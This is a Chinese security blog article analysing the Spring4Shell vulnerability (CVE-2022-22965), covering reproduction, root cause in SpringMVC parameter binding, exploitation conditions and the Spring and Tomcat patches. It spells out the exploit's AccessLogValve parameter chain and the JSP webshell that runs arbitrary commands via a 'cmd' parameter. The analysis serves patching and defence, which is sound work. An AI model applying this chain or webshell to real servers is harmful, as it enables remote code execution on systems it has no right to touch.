Spring远程命令执行漏洞(CVE-2022-22965)原理分析和思考

阅读量317983

发布时间 : 2022-04-18 14:45:34

 

前言

上周网上爆出Spring框架存在RCE漏洞,野外流传了一小段时间后,Spring官方在3月31日正式发布了漏洞信息,漏洞编号为CVE-2022-22965。本文章对该漏洞进行了复现和分析,希望能够帮助到有相关有需要的人员。

 

一、前置知识

1.1 SpringMVC参数绑定

为了方便编程,SpringMVC支持将HTTP请求中的的请求参数或者请求体内容,根据Controller方法的参数,自动完成类型转换和赋值。之后,Controller方法就可以直接使用这些参数,避免了需要编写大量的代码从HttpServletRequest中获取请求数据以及类型转换。下面是一个简单的示例:

import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;

@Controller
public class UserController {
@RequestMapping(“/addUser”)
public @ResponseBody String addUser(User user) {
return “OK”;
}
}

public class User {
private String name;
private Department department;

public String getName() {
return name;
}

public void setName(String name) {
this.name = name;
}

public Department getDepartment() {
return department;
}

public void setDepartment(Department department) {
this.department = department;
}
}

public class Department {
private String name;

public String getName() {
return name;
}

public void setName(String name) {
this.name = name;
}
}

当请求为/addUser?name=test&department.name=SEC时,public String addUser(User user)中的user参数内容如下:

![](https://p2.ssl.qhimg.com/t0132f075cf0b5a4267.jpg)

可以看到,name自动绑定到了user参数的name属性上,department.name自动绑定到了user参数的department属性的name属性上。

注意department.name这项的绑定,表明SpringMVC支持多层嵌套的参数绑定。实际上department.name的绑定是Spring通过如下的调用链实现的:

User.getDepartment()
Department.setName()

假设请求参数名为foo.bar.baz.qux,对应Controller方法入参为Param,则有以下的调用链:

Param.getFoo()
Foo.getBar()
Bar.getBaz()
Baz.setQux() // 注意这里为set

SpringMVC实现参数绑定的主要类和方法是WebDataBinder.doBind(MutablePropertyValues)。

1.2 Java Bean PropertyDescriptor

PropertyDescriptor是JDK自带的java.beans包下的类,意为属性描述器,用于获取符合Java Bean规范的对象属性和get/set方法。下面是一个简单的例子:

import java.beans.BeanInfo;
import java.beans.Introspector;
import java.beans.PropertyDescriptor;

public class PropertyDescriptorDemo {
public static void main(String[] args) throws Exception {
User user = new User();
user.setName(“foo”);

BeanInfo userBeanInfo = Introspector.getBeanInfo(User.class);
PropertyDescriptor[] descriptors = userBeanInfo.getPropertyDescriptors();
PropertyDescriptor userNameDescriptor = null;
for (PropertyDescriptor descriptor : descriptors) {
if (descriptor.getName().equals(“name”)) {
userNameDescriptor = descriptor;
System.out.println(“userNameDescriptor: “ + userNameDescriptor);
System.out.println(“Before modification: “);
System.out.println(“user.name: “ + userNameDescriptor.getReadMethod().invoke(user));
userNameDescriptor.getWriteMethod().invoke(user, “bar”);
}
}
System.out.println(“After modification: “);
System.out.println(“user.name: “ + userNameDescriptor.getReadMethod().invoke(user));
}
}

userNameDescriptor: java.beans.PropertyDescriptor[name=name; values={expert=false; visualUpdate=false; hidden=false; enumerationValues=[Ljava.lang.Object;@5cb9f472; required=false}; propertyType=class java.lang.String; readMethod=public java.lang.String cn.jidun.User.getName(); writeMethod=public void cn.jidun.User.setName(java.lang.String)]
Before modification:
user.name: foo
After modification:
user.name: bar

从上述代码和输出结果可以看到,PropertyDescriptor实际上就是Java Bean的属性和对应get/set方法的集合。

1.3 Spring BeanWrapperImpl

在Spring中,BeanWrapper接口是对Bean的包装,定义了大量可以非常方便的方法对Bean的属性进行访问和设置。

BeanWrapperImpl类是BeanWrapper接口的默认实现,BeanWrapperImpl.wrappedObject属性即为被包装的Bean对象,BeanWrapperImpl对Bean的属性访问和设置最终调用的是PropertyDescriptor。

import org.springframework.beans.BeanWrapper;
import org.springframework.beans.BeanWrapperImpl;

public class BeanWrapperDemo {
public static void main(String[] args) throws Exception {
User user = new User();
user.setName(“foo”);
Department department = new Department();
department.setName(“SEC”);
user.setDepartment(department);

BeanWrapper userBeanWrapper = new BeanWrapperImpl(user);
userBeanWrapper.setAutoGrowNestedPaths(true);
System.out.println(“userBeanWrapper: “ + userBeanWrapper);

System.out.println(“Before modification: “);
System.out.println(“user.name: “ + userBeanWrapper.getPropertyValue(“name”));
System.out.println(“user.department.name: “ + userBeanWrapper.getPropertyValue(“department.name”));

userBeanWrapper.setPropertyValue(“name”, “bar”);
userBeanWrapper.setPropertyValue(“department.name”, “IT”);

System.out.println(“After modification: “);
System.out.println(“user.name: “ + userBeanWrapper.getPropertyValue(“name”));
System.out.println(“user.department.name: “ + userBeanWrapper.getPropertyValue(“department.name”));
}
}

userBeanWrapper: org.springframework.beans.BeanWrapperImpl: wrapping object [cn.jidun.User@1d371b2d]
Before modification:
user.name: foo
user.department.name: SEC
After modification:
user.name: bar
user.department.name: IT

从上述代码和输出结果可以看到,通过BeanWrapperImpl可以很方便地访问和设置Bean的属性,比直接使用PropertyDescriptor要简单很多。

1.4 Tomcat AccessLogValve 和 access_log

Tomcat的Valve用于处理请求和响应,通过组合了多个Valve的Pipeline,来实现按次序对请求和响应进行一系列的处理。其中AccessLogValve用来记录访问日志access_log。Tomcat的server.xml中默认配置了AccessLogValve,所有部署在Tomcat中的Web应用均会执行该Valve,内容如下:

<Valve className="org.apache.catalina.valves.AccessLogValve" directory="logs"
prefix="localhost_access_log" suffix=".txt"
pattern="%h %l %u %t "%r" %s %b" />

下面列出配置中出现的几个重要属性:

· directory:access_log文件输出目录。

· prefix:access_log文件名前缀。

· pattern:access_log文件内容格式。

· suffix:access_log文件名后缀。

· fileDateFormat:access_log文件名日期后缀,默认为.yyyy-MM-dd。

 

二、漏洞复现

2.1 复现环境

· 操作系统:Ubuntu 18

· JDK:11.0.14

· Tomcat:9.0.60![]

· SpringBoot:2.6.3

2.2 复现过程

1.创建一个maven项目,pom.xml内容如下:

<?xml version=”1.0” encoding=”UTF-8”?>

<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>2.6.3</version>
<relativePath/> <!-- lookup parent from repository -->
</parent>
<groupId>com.example</groupId>
<artifactId>CVE-2022-22965</artifactId>
<version>0.0.1-SNAPSHOT</version>
<packaging>war</packaging>
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-tomcat</artifactId>
<scope>provided</scope>
</dependency>
</dependencies>
<build>
<plugins>
<plugin>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-maven-plugin</artifactId>
</plugin>
</plugins>
</build>
</project>

2.项目中添加如下代码,作为SpringBoot的启动类:

import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
import org.springframework.boot.builder.SpringApplicationBuilder;
import org.springframework.boot.web.servlet.support.SpringBootServletInitializer;

@SpringBootApplication
public class ApplicationMain extends SpringBootServletInitializer {
@Override
protected SpringApplicationBuilder configure(SpringApplicationBuilder builder) {
return builder.sources(ApplicationMain.class);
}

public static void main(String[] args) {
SpringApplication.run(ApplicationMain.class, args);
}
}

3.将章节1.1 SpringMVC参数绑定中的User类和UserController类添加到项目中。

4.执行maven打包命令,将项目打包为war包,命令如下:

mvn clean package

5.将项目中target目录里打包生成的CVE-2022-22965-0.0.1-SNAPSHOT.war,复制到Tomcat的webapps目录下,并启动Tomcat。

6.从

https://github.com/BobTheShoplifter/Spring4Shell-POC/blob/0c557e85ba903c7ad6f50c0306f6c8271736c35e/poc.py 下载POC文件,执行如下命令:

python3 poc.py —url http://localhost:8080/CVE-2022-22965-0.0.1-SNAPSHOT/addUser

7.浏览器中访问http://localhost:8080/tomcatwar.jsp?pwd=j&cmd=gnome-calculator,复现漏洞。

 

三、漏洞分析

3.1 POC分析

我们从POC入手进行分析。通过对POC中的data URL解码后可以拆分成如下5对参数。

3.1.1 pattern参数

· 参数名:class.module.classLoader.resources.context.parent.pipeline.first.pattern

· 参数值:%{c2}i if(“j”.equals(request.getParameter(“pwd”))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter(“cmd”)).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}i

很明显,这个参数是SpringMVC多层嵌套参数绑定。我们可以推测出如下的调用链:

User.getClass()
java.lang.Class.getModule()
……
SomeClass.setPattern()

那实际运行过程中的调用链是怎样的呢?SomeClass是哪个类呢?带着这些问题,我们在前置知识中提到的实现SpringMVC参数绑定的主要方法WebDataBinder.doBind(MutablePropertyValues)上设置断点。

经过一系列的调用逻辑后,我们来到AbstractNestablePropertyAccessor第814行,getPropertyAccessorForPropertyPath(String)方法。该方法通过递归调用自身,实现对class.module.classLoader.resources.context.parent.pipeline.first.pattern的递归解析,设置整个调用链。

我们重点关注第820行,AbstractNestablePropertyAccessor nestedPa = getNestedPropertyAccessor(nestedProperty);,该行主要实现每层嵌套参数的获取。我们在该行设置断点,查看每次递归解析过程中各个变量的值,以及如何获取每层嵌套参数。

第一轮迭代

进入getPropertyAccessorForPropertyPath(String)方法前:

· this:User的BeanWrapperImpl包装实例

· propertyPath:class.module.classLoader.resources.context.parent.pipeline.first.pattern

· nestedPath:module.classLoader.resources.context.parent.pipeline.first.pattern

· nestedProperty:class,即本轮迭代需要解析的嵌套参数

进入方法,经过一系列的调用逻辑后,最终来到BeanWrapperImpl第308行,BeanPropertyHandler.getValue()方法中。可以看到class嵌套参数最终通过反射调用User的父类java.lang.Object.getClass(),获得返回java.lang.Class实例。

getPropertyAccessorForPropertyPath(String)方法返回后:

· this:User的BeanWrapperImpl包装实例

· propertyPath:class.module.classLoader.resources.context.parent.pipeline.first.pattern

· nestedPath:module.classLoader.resources.context.parent.pipeline.first.pattern,作为下一轮迭代的propertyPath

· nestedProperty:class,即本轮迭代需要解析的嵌套参数

· nestedPa:java.lang.Class的BeanWrapperImpl包装实例,作为下一轮迭代的this

经过第一轮迭代,我们可以得出第一层调用链:

User.getClass()
java.lang.Class.get???() // 下一轮迭代实现

第二轮迭代

module嵌套参数最终通过反射调用java.lang.Class.getModule(),获得返回java.lang.Module实例。

经过第二轮迭代,我们可以得出第二层调用链:

User.getClass()
java.lang.Class.getModule()
java.lang.Module.get???() // 下一轮迭代实现

第三轮迭代

classLoader嵌套参数最终通过反射调用java.lang.Module.getClassLoader(),获得返回org.apache.catalina.loader.ParallelWebappClassLoader实例。

经过第三轮迭代,我们可以得出第三层调用链:

User.getClass()
java.lang.Class.getModule()
java.lang.Module.getClassLoader()
org.apache.catalina.loader.ParallelWebappClassLoader.get???() // 下一轮迭代实现

接着按照上述调试方法,依次调试剩余的递归轮次并观察相应的变量,最终可以得到如下完整的调用链:

User.getClass()
java.lang.Class.getModule()
java.lang.Module.getClassLoader()
org.apache.catalina.loader.ParallelWebappClassLoader.getResources()
org.apache.catalina.webresources.StandardRoot.getContext()
org.apache.catalina.core.StandardContext.getParent()
org.apache.catalina.core.StandardHost.getPipeline()
org.apache.catalina.core.StandardPipeline.getFirst()
org.apache.catalina.valves.AccessLogValve.setPattern()

可以看到,pattern参数最终对应AccessLogValve.setPattern(),即将AccessLogValve的pattern属性设置为%{c2}i if(“j”.equals(request.getParameter(“pwd”))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter(“cmd”)).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}i,也就是access_log的文件内容格式。

我们再来看pattern参数值,除了常规的Java代码外,还夹杂了三个特殊片段。通过翻阅AccessLogValve的父类AbstractAccessLogValve的源码,可以找到相关的文档:

即通过AccessLogValve输出的日志中可以通过形如%{param}i等形式直接引用HTTP请求和响应中的内容。完整文档请参考文章末尾的参考章节。

结合poc.py中headers变量内容:

headers = {“suffix”:”%>//“,
“c1”:”Runtime”,
“c2”:”<%”,
“DNT”:”1”,
“Content-Type”:”application/x-www-form-urlencoded”
}

最终可以得到AccessLogValve输出的日志实际内容如下(已格式化):

<%
if(“j”.equals(request.getParameter(“pwd”))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter(“cmd”)).getInputStream();
int a = -1;
byte[] b = new byte[2048];
while((a=in.read(b))!=-1){
out.println(new String(b));
}
}
%>//

很明显,这是一个JSP webshell。这个webshell输出到了哪儿?名称是什么?能被直接访问和正常解析执行吗?我们接下来看其余的参数。

3.1.2 suffix参数

· 参数名:class.module.classLoader.resources.context.parent.pipeline.first.suffix

· 参数值:.jsp

按照pattern参数相同的调试方法,suffix参数最终将AccessLogValve.suffix设置为.jsp,即access_log的文件名后缀。

3.1.3 directory参数

· 参数名:class.module.classLoader.resources.context.parent.pipeline.first.directory

· 参数值:webapps/ROOT

按照pattern参数相同的调试方法,directory参数最终将AccessLogValve.directory设置为webapps/ROOT,即access_log的文件输出目录。

这里提下webapps/ROOT目录,该目录为Tomcat Web应用根目录。部署到目录下的Web应用,可以直接通过http://localhost:8080/根目录访问。

3.1.4 prefix参数

· 参数名:class.module.classLoader.resources.context.parent.pipeline.first.prefix

· 参数值:tomcatwar

按照pattern参数相同的调试方法,prefix参数最终将AccessLogValve.prefix设置为tomcatwar,即access_log的文件名前缀。

3.1.5 fileDateFormat参数

· 参数名:class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat

· 参数值:空

按照pattern参数相同的调试方法,fileDateFormat参数最终将AccessLogValve.fileDateFormat设置为空,即access_log的文件名不包含日期。

3.1.6 总结

至此,经过上述的分析,结论非常清晰了:通过请求传入的参数,利用SpringMVC参数绑定机制,控制了Tomcat AccessLogValve的属性,让Tomcat在webapps/ROOT目录输出定制的“访问日志”tomcatwar.jsp,该“访问日志”实际上为一个JSP webshell。

在SpringMVC参数绑定的实际调用链中,有几个关键点直接影响到了漏洞能否成功利用。

3.2 漏洞利用关键点

3.2.1 关键点一:Web应用部署方式

从java.lang.Module到org.apache.catalina.loader.ParallelWebappClassLoader,是将调用链转移到Tomcat,并最终利用AccessLogValve输出webshell的关键。

ParallelWebappClassLoader在Web应用以war包部署到Tomcat中时使用到。现在很大部分公司会使用SpringBoot可执行jar包的方式运行Web应用,在这种方式下,我们看下classLoader嵌套参数被解析为什么,如下图:

可以看到,使用SpringBoot可执行jar包的方式运行,classLoader嵌套参数被解析为org.springframework.boot.loader.LaunchedURLClassLoader,查看其源码,没有getResources()方法。具体源码请参考文章末尾的参考章节。

这就是为什么本漏洞利用条件之一,Web应用部署方式需要是Tomcat war包部署。

3.2.2 关键点二:JDK版本

在前面章节中AbstractNestablePropertyAccessor nestedPa = getNestedPropertyAccessor(nestedProperty);调用的过程中,实际上Spring做了一道防御。

Spring使用org.springframework.beans.CachedIntrospectionResults缓存并返回Java Bean中可以被BeanWrapperImpl使用的PropertyDescriptor。在CachedIntrospectionResults第289行构造方法中:

该行的意思是:当Bean的类型为java.lang.Class时,不返回classLoader和protectionDomain的PropertyDescriptor。Spring在构建嵌套参数的调用链时,会根据CachedIntrospectionResults缓存的PropertyDescriptor进行构建:

不返回,也就意味着class.classLoader…这种嵌套参数走不通,即形如下方的调用链:

Foo.getClass()
java.lang.Class.getClassLoader()
BarClassLoader.getBaz()
……

这在JDK<=1.8都是有效的。但是在JDK 1.9之后,Java为了支持模块化,在java.lang.Class中增加了module属性和对应的getModule()方法,自然就能通过如下调用链绕过判断:

Foo.getClass()
java.lang.Class.getModule() // 绕过
java.lang.Module.getClassLoader()
BarClassLoader.getBaz()
……

这就是为什么本漏洞利用条件之二,JDK>=1.9。

 

四、补丁分析

4.1 Spring 5.3.18补丁

通过对比Spring 5.3.17和5.3.18的版本,可以看到在3月31日有一项名为“Redefine PropertyDescriptor filter的”提交。

进入该提交,可以看到对CachedIntrospectionResults构造函数中Java Bean的PropertyDescriptor的过滤条件被修改了:当Java Bean的类型为java.lang.Class时,仅允许获取name以及Name后缀的属性描述符。在章节3.2.2 关键点二:JDK版本中,利用java.lang.Class.getModule()的链路就走不通了。

4.2 Tomcat 9.0.62补丁

通过对比Tomcat 9.0.61和9.0.62的版本,可以看到在4月1日有一项名为“Security hardening. Deprecate getResources() and always return null.”提交。

进入该提交,可以看到对getResources()方法的返回值做了修改,直接返回null。WebappClassLoaderBase即ParallelWebappClassLoader的父类,在章节3.2.1 关键点一:Web应用部署方式中,利用org.apache.catalina.loader.ParallelWebappClassLoader.getResources()的链路就走不通了。

 

五、思考

通过将代码输出到日志文件,并控制日志文件被解释执行,这在漏洞利用方法中也较为常见。通常事先往服务器上写入包含代码的“日志”文件,并利用文件包含漏洞解释执行该“日志”文件。写入“日志”文件可以通过Web服务中间件自身的日志记录功能顺带实现,也可以通过SQL注入、文件上传漏洞等曲线实现。

与上文不同的是,本次漏洞并不需要文件包含。究其原因,Java Web服务中间件自身也是用Java编写和运行的,而部署运行在上面的Java Web应用,实际上是Java Web服务中间件进程的一部分,两者间通过Servlet API标准接口在进程内部进行“通讯”。依靠Java语言强大的运行期反射能力,给予了攻击者可以通过Java Web应用漏洞进而攻击Java Web服务中间件的能力。也就是本次利用Web应用自身的Spring漏洞,进而修改了Web服务中间件Tomcat的access_log配置内容,直接输出可执行的“日志”文件到Web 应用目录下。

在日常开发中,应该严格控制Web应用可解释执行目录为只读不可写,日志、上传文件等运行期可以修改的目录应该单独设置,并且不可执行。

本次漏洞虽然目前调用链中仅利用到了Tomcat,但只要存在一个从Web应用到Web服务中间件的class.module.classLoader….合适调用链,理论上Jetty、Weblogic、Glassfish等也可利用。另外,目前通过写入日志文件的方式,也可能通过其它文件,比如配置文件,甚至是内存马的形式出现。

本次漏洞目前唯一令人“欣慰”的一点是,仅对JDK>=1.9有效。相信不少公司均为“版本任你发,我用Java 8!”的状态,但这也仅仅是目前。与其抱着侥幸心理,不如按计划老老实实升级Spring。

同Log4jShell中的Log4j2一样,Spring框架几乎是一个类似JDK级别的基础类库,即便自身应用程序里完成了升级,但仍有极其庞大的其它框架、中间件,导致升级工作同样极为困难。绝大部分公司采取的方案是在边界防护设备上使用“临时补丁”的方式。同时,大量bypass方法也随之而来,这将是一个漫长的过程。

“临时补丁”意味着无法根除,而底层依赖的升级又极为耗时,那么,如何更好地发现并规避在此期间产生的风险呢?https://www.jidun.cn/product/xice

 

参考

· Tomcat access_log配置参考文档:https://tomcat.apache.org/tomcat-9.0-doc/config/valve.html#Access_Logging

· Spring 5.3.17和5.3.18版本比较:https://github.com/spring-projects/spring-framework/compare/v5.3.17…v5.3.18

· Spring 5.3.18补丁提交内容:https://github.com/spring-projects/spring-framework/commit/002546b3e4b8d791ea6acccb81eb3168f51abb15

· Tomcat 9.0.61和9.0.62版本比较:https://github.com/apache/tomcat/compare/9.0.61…9.0.62

· Tomcat 9.0.62补丁提交内容:https://github.com/apache/tomcat/commit/8a904f6065080409a1e00606cd7bceec6ad8918c

· LaunchedURLClassLoader源码:https://github.com/spring-projects/spring-boot/blob/main/spring-boot-project/spring-boot-tools/spring-boot-loader/src/main/java/org/springframework/boot/loader/LaunchedURLClassLoader.java

本文由极盾科技原创发布

转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/272149

安全客 - 有思想的安全新媒体

分享到:微信
+14赞
收藏
极盾科技
分享到:微信

发表评论

内容需知
  • 投稿须知
  • 转载须知
  • 官网QQ群8:819797106
  • 官网QQ群3:830462644(已满)
  • 官网QQ群2:814450983(已满)
  • 官网QQ群1:702511263(已满)
合作单位
  • 安全客
  • 安全客
Copyright © 北京奇虎科技有限公司 360网络攻防实验室 安全客 All Rights Reserved 京ICP备08010314号-66